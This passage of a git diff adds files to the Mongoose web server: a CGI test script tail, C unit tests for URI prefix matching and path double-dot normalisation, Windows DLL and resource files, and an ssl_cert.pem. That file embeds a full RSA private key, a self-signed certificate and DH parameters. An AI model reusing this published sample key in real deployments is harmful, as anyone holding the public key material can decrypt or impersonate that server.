+# not waiting until the script exits.
+print "Content-Type: text/html\r\n\r\n";
+print "Some data";
+sleep 3;
diff --git a/mongoose/test/unit_test.c b/mongoose/test/unit_test.c
new file mode 100644
index 0000000..dd93c48
--- /dev/null
+++ b/mongoose/test/unit_test.c
@@ -0,0 +1,61 @@
+#include "mongoose.c"
+
+static void test_match_prefix(void) {
+ assert(match_prefix("/a/", 3, "/a/b/c") == 3);
+ assert(match_prefix("/a/", 3, "/ab/c") == -1);
+ assert(match_prefix("/*/", 3, "/ab/c") == 4);
+ assert(match_prefix("**", 2, "/a/b/c") == 6);
+ assert(match_prefix("/*", 2, "/a/b/c") == 2);
+ assert(match_prefix("*/*", 3, "/a/b/c") == 2);
+ assert(match_prefix("**/", 3, "/a/b/c") == 5);
+ assert(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
+ assert(match_prefix("a|b|cd", 6, "cdef") == 2);
+ assert(match_prefix("a|b|c?", 6, "cdef") == 2);
+ assert(match_prefix("a|?|cd", 6, "cdef") == 1);
+ assert(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
+ assert(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
+ assert(match_prefix("**/", 3, "/a/b/c") == 5);
+ assert(match_prefix("**/$", 4, "/a/b/c") == -1);
+ assert(match_prefix("**/$", 4, "/a/b/") == 5);
+ assert(match_prefix("$", 1, "") == 0);
+ assert(match_prefix("$", 1, "x") == -1);
+ assert(match_prefix("*$", 2, "x") == 1);
+ assert(match_prefix("/$", 2, "/") == 1);
+ assert(match_prefix("**/$", 4, "/a/b/c") == -1);
+ assert(match_prefix("**/$", 4, "/a/b/") == 5);
+ assert(match_prefix("*", 1, "/hello/") == 0);
+ assert(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
+ assert(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
+ assert(match_prefix("**.a$|**.b$", 11, "/a/b.a") == 6);
+}
+
+static void test_remove_double_dots() {
+ struct { char before[20], after[20]; } data[] = {
+ {"////a", "/a"},
+ {"/.....", "/."},
+ {"/......", "/"},
+ {"...", "..."},
+ {"/...///", "/./"},
+ {"/a...///", "/a.../"},
+ {"/.x", "/.x"},
+#if defined(_WIN32)
+ {"/\\", "/"},
+#else
+ {"/\\", "/\\"},
+#endif
+ {"/a\\", "/a\\"},
+ };
+ size_t i;
+
+ for (i = 0; i < ARRAY_SIZE(data); i++) {
+ //printf("[%s] -> [%s]\n", data[i].before, data[i].after);
+ remove_double_dots_and_double_slashes(data[i].before);
+ assert(strcmp(data[i].before, data[i].after) == 0);
+ }
+}
+
+int main(void) {
+ test_match_prefix();
+ test_remove_double_dots();
+ return 0;
+}
diff --git a/mongoose/win32/dll.def b/mongoose/win32/dll.def
new file mode 100644
index 0000000..afd5311
--- /dev/null
+++ b/mongoose/win32/dll.def
@@ -0,0 +1,15 @@
+LIBRARY
+EXPORTS
+ mg_start
+ mg_stop
+ mg_read
+ mg_write
+ mg_printf
+ mg_get_header
+ mg_get_var
+ mg_get_cookie
+ mg_get_option
+ mg_get_valid_option_names
+ mg_version
+ mg_modify_passwords_file
+ mg_md5
diff --git a/mongoose/win32/res.rc b/mongoose/win32/res.rc
new file mode 100644
index 0000000..f55c538
--- /dev/null
+++ b/mongoose/win32/res.rc
@@ -0,0 +1 @@
+200 ICON DISCARDABLE "systray.ico"
diff --git a/mongoose/win32/ssl_cert.pem b/mongoose/win32/ssl_cert.pem
new file mode 100644
index 0000000..f7e15a0
--- /dev/null
+++ b/mongoose/win32/ssl_cert.pem
@@ -0,0 +1,50 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
+hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
+EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
+di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
+Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
+gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
+HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
+trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
+x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
+SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
++LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
+N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
+to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
+BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
+WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
+Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
++AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
+kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
+g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
+qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
+d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
+iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
+BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
+ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
+hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
+-----END RSA PRIVATE KEY-----
+-----BEGIN CERTIFICATE-----
+MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
+VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
+cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
+A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
+IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
+AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
+akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
+kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
+kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
+N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
+uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
+oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
+plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
+P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
+W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
+5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
+SEGI4JSxV56lYg==
+-----END CERTIFICATE-----
+-----BEGIN DH PARAMETERS-----
+MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
+6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
+-----END DH PARAMETERS-----
diff --git a/mongoose/win32/systray.ico b/mongoose/win32/systray.ico
new file mode 100644
index 0000000..66215bd
--- /dev/null
+++ b/mongoose/win32/systray.ico
Binary files differ